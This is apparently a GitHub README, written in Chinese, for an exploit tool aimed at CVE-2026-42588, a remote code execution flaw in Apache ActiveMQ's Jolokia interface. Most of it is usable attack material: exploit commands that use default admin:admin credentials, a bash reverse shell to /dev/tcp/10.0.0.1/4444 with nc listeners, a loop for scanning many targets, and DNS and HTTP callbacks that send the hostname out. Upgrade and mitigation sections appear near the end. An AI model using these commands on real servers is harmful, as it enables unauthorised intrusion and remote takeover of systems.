hnytgl/CVE-2026-42588

GitHub: hnytgl/CVE-2026-42588

Apache ActiveMQ Jolokia 远程代码执行漏洞(CVE-2026-42588)的概念验证与利用工具,通过构造恶意 Spring XML 实现 RCE。

Stars: 3 | Forks: 0

# CVE-2026-42588 - Apache ActiveMQ Jolokia 远程代码执行漏洞利用 ## 📋 目录 - [漏洞概述](#漏洞概述) - [漏洞原理](#漏洞原理) - [影响版本](#影响版本) - [利用条件](#利用条件) - [文件说明](#文件说明) - [快速开始](#快速开始) - [详细使用方法](#详细使用方法) - [利用链全景图](#利用链全景图) - [验证漏洞利用成功](#验证漏洞利用成功) - [修复方案](#修复方案) - [临时缓解措施](#临时缓解措施) - [FAQ](#faq) - [免责声明](#免责声明) - [参考链接](#参考链接) ## 漏洞概述 **CVE-2026-42588** 是一个存在于 **Apache ActiveMQ** 中的认证后远程代码执行(RCE)漏洞。 攻击者在拥有 Web Console 认证凭据的前提下,通过 **Jolokia JMX-HTTP 桥接接口** (`/api/jolokia/`) 调用 `BrokerService.addNetworkConnector(String)` 方法,传入精心构造的 `masterslave://` discovery URI,利用 `xbean:` 协议加载远程 **Spring XML 配置文件**,最终在 ActiveMQ Broker 的 JVM 中执行任意系统命令。 ## 漏洞原理 ### 利用链 /api/jolokia/ (Jolokia JMX-HTTP Bridge) │ ▼ BrokerService.addNetworkConnector(String) │ ▼ masterslave://?brokerConfig=xbean:http://attacker/malicious.xml │ ▼ XBeanBrokerFactory → ResourceXmlApplicationContext │ ▼ Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder │ ▼ 🚨 远程代码执行 (RCE) ### 关键技术点 | 环节 | 说明 | |------|------| | **Jolokia 暴露面** | ActiveMQ Web Console 默认暴露 `/api/jolokia/`,允许对 `org.apache.activemq:*` MBean 执行 `exec` 操作 | | **危险方法** | `BrokerService.addNetworkConnector(String)` 接收 discovery URI 并解析 | | **URI 触发链** | `masterslave://` 协议的 `brokerConfig` 参数可控,配合 `xbean:` scheme 触发 Spring 上下文加载 | | **RCE 触发点** | XBeanBrokerFactory 使用 `ResourceXmlApplicationContext` 加载远程 XML,Spring 在配置验证之前就会实例化所有单例 Bean | ## 影响版本 | 版本范围 | 状态 | |----------|------| | Apache ActiveMQ **< 5.19.7** | ❌ 受影响 | | **6.0.0** ≤ Apache ActiveMQ **< 6.2.6** | ❌ 受影响 | | Apache ActiveMQ **≥ 5.19.7** | ✅ 已修复 | | Apache ActiveMQ **≥ 6.2.6** | ✅ 已修复 | ## 利用条件 1. ✅ **网络可达** — `/api/jolokia/` 接口可被攻击者访问(默认端口 `8161`) 2. ✅ **有效凭据** — 拥有 ActiveMQ Web Console 的认证凭据(默认 `admin:admin`) 3. ✅ **攻击者 HTTP 服务** — 需要一个可被目标访问的 HTTP 服务器托管恶意 XML 文件 ## 文件说明 . ├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心) ├── malicious.xml # 恶意 Spring XML 模板 ├── requirements.txt # Python 依赖 └── README.md # 本文件 | 文件 | 用途 | |------|------| | `CVE-2026-42588_EXP.py` | Python 漏洞利用脚本,支持检测模式 (`--check-only`) 和 XML 生成模式 (`--gen-xml`) | | `malicious.xml` | 恶意 Spring XML 配置模板,包含 Runtime.exec() 和 ProcessBuilder 两种利用方式 | ## 快速开始 ### 1. 安装依赖 pip install -r requirements.txt ### 2. 生成恶意 XML 文件 python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml ### 3. 托管恶意 XML 文件 在攻击机上启动 HTTP 服务: python3 -m http.server 8080 ### 4. 执行漏洞利用 # 使用默认凭据 admin/admin python CVE-2026-42588_EXP.py \ -u http://192.168.1.100:8161 \ -x http://your-attacker-ip:8080/malicious.xml # 使用自定义凭据 python CVE-2026-42588_EXP.py \ -u http://target:8161 \ -U myuser \ -P mypass \ -x http://your-attacker-ip:8080/malicious.xml ### 5. (可选)仅检测漏洞 python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only ## 详细使用方法 ### 命令行参数 usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD] [-x XML_URL] [--check-only] [--gen-xml] [-c COMMAND] [--timeout TIMEOUT] [--no-verify] 选项: -u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161) -U, --username Web Console 用户名 (默认: admin) -P, --password Web Console 密码 (默认: admin) -x, --xml-url 恶意 Spring XML 文件的远程 URL --check-only 仅检测 Jolokia 接口是否可访问 --gen-xml 生成恶意 XML 文件并输出到 stdout -c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned) --timeout HTTP 请求超时秒数 (默认: 30) --no-verify 禁用 SSL 证书验证 ### 场景一:反弹 Shell **1. 在攻击机上生成恶意 XML:** python CVE-2026-42588_EXP.py --gen-xml \ -c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \ > reverse_shell.xml **2. 托管 XML 并启动监听:** # 终端1:HTTP 服务 python3 -m http.server 8080 # 终端2:nc 监听 nc -lvnp 4444 **3. 触发漏洞:** python CVE-2026-42588_EXP.py \ -u http://target:8161 \ -x http://10.0.0.1:8080/reverse_shell.xml ### 场景二:CMD 命令执行(Windows 目标) **1. 生成 Windows 版恶意 XML:** 修改 `malicious.xml` 中 ProcessBuilder 的命令为: cmd.exe /c whoami > C:\windows\temp\pwned.txt **2. 托管并执行:** python CVE-2026-42588_EXP.py \ -u http://windows-target:8161 \ -x http://attacker:8080/malicious_win.xml ### 场景三:仅漏洞检测 # 批量检测 for ip in $(cat targets.txt); do echo "=== Testing $ip ===" python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5 done ## 利用链全景图 ┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-42588 攻击链 │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │ │ ┌──────────┐ ┌──────────────────────────┐ │ │ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │ │ │ │ Jolokia exec() │ │ │ │ │ │ Basic Auth │ BrokerService. │ │ │ │ │ │ addNetworkConnector( │ │ │ │ │ │ "masterslave://? │ │ │ │ │ │ brokerConfig= │ │ │ │ │ │ xbean:http://... │ │ │ │ │ │ /malicious.xml" │ │ │ └──────────┘ │ ) │ │ │ │ └────────┬─────────────────┘ │ │ │ │ │ │ │ ③ HTTP GET ▼ │ │ │ ┌──────────────────────┐ ┌────────────────────────────┐ │ │ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │ │ │ (python http.server) │ │ Context 加载远程 XML │ │ │ │ │ │ │ │ │ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │ │ └──────────────────────┘ │ Runtime.exec() / │ │ │ │ ProcessBuilder.start() │ │ │ │ │ │ │ │ │ ▼ │ │ │ │ 🚨 RCE 成功 🚨 │ │ │ └────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ ## 验证漏洞利用成功 由于命令执行发生在 Spring XML 解析阶段,是**异步**的,HTTP 响应中可能不会直接体现执行结果。建议通过以下方式验证: ### 方法 1:反弹 Shell(最可靠) # 攻击机 nc -lvnp 4444 ### 方法 2:DNS 外带(OOB) # 命令中使用 nslookup 或 curl 回传 nslookup $(hostname).your-dns-server.com ### 方法 3:文件落地检测 # 目标上检查标志文件 ls -la /tmp/activemq_pwned ### 方法 4:HTTP 回连 # 在恶意 XML 中使用 curl http://your-server:8888/$(hostname) # 同时在攻击机上监听 nc -lvnp 8888 ## 修复方案 ### ✅ 推荐方案:升级版本 | 版本线 | 升级至 | |--------|--------| | 5.x 系列 | **5.19.7** 或更高 | | 6.x 系列 | **6.2.6** 或更高 | 下载地址: [https://activemq.apache.org/download](https://activemq.apache.org/download) 补丁公告: [https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm](https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm) ## 临时缓解措施 如果暂时无法升级,可采取以下措施降低风险: ### 1. 限制 Jolokia 接口访问 在 `conf/jetty.xml` 中限制 `/api/jolokia/` 只能从本地访问,或通过防火墙/反向代理做 IP 白名单。 ### 2. 修改 Jolokia 访问策略 编辑 `conf/jolokia-access.xml`,禁止对 `org.apache.activemq:*` MBean 的 `exec` 操作: org.apache.activemq:* !exec ### 3. 修改默认凭据 编辑 `conf/jetty-realm.properties`,将默认的 `admin: admin, admin` 修改为强密码。 ### 4. 禁用 Web Console(如果不需要) 在 `conf/jetty.xml` 中注释掉 Web Console 相关的 Context 配置。 ## FAQ ### Q: 这个漏洞需要认证吗? **A:** 是的,需要 ActiveMQ Web Console 的有效凭据。但默认凭据为 `admin/admin`,实际环境中大量系统未修改默认密码,因此风险依然很高。 ### Q: EXP 执行后没有回显怎么办? **A:** 这是正常的。命令执行是异步的,发生在 Spring XML 解析阶段。建议使用反弹 Shell、DNS 外带等方式验证。详见[验证漏洞利用成功](#验证漏洞利用成功)。 ### Q: 支持 Windows 目标吗? **A:** 支持。需要将 `malicious.xml` 中的命令从 `/bin/sh -c` 改为 `cmd.exe /c`,命令语法相应调整为 Windows 风格。 ### Q: 检测模式 (--check-only) 能确定漏洞存在吗? **A:** 检测模式只能确认 Jolokia 接口是否可访问(漏洞利用的必要条件)。接口可访问不代表一定可利用,但具备利用可能性。 ### Q: 漏洞修补后还能利用吗? **A:** 不能。升级到 5.19.7+ 或 6.2.6+ 后,`brokerConfig` 参数的解析逻辑已修复,不再接受 `xbean:` scheme。 ## 免责声明 ## 参考链接 | 来源 | 链接 | |------|------| | 漏洞数据库 (CVE Detail) | [https://www.cybersecurity-help.cz/vdb/vulns/133395/](https://www.cybersecurity-help.cz/vdb/vulns/133395/) | | 安天漏洞公告 | [https://bbs.antiy.cn/thread-210844-1-1.html](https://bbs.antiy.cn/thread-210844-1-1.html) | | DDPOC 漏洞详情 | [https://ddpoc.com/DVB-2026-11290.html](https://ddpoc.com/DVB-2026-11290.html) | | Apache ActiveMQ 官方 | [https://activemq.apache.org/](https://activemq.apache.org/) | | Apache 安全公告 | [https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm](https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm) |

CVE-2026-42588 — For Educational & Authorized Testing Purposes Only

标签:Apache ActiveMQ, CISA项目, Jolokia, 安全, 编程工具, 超时处理, 远程代码执行, 逆向工具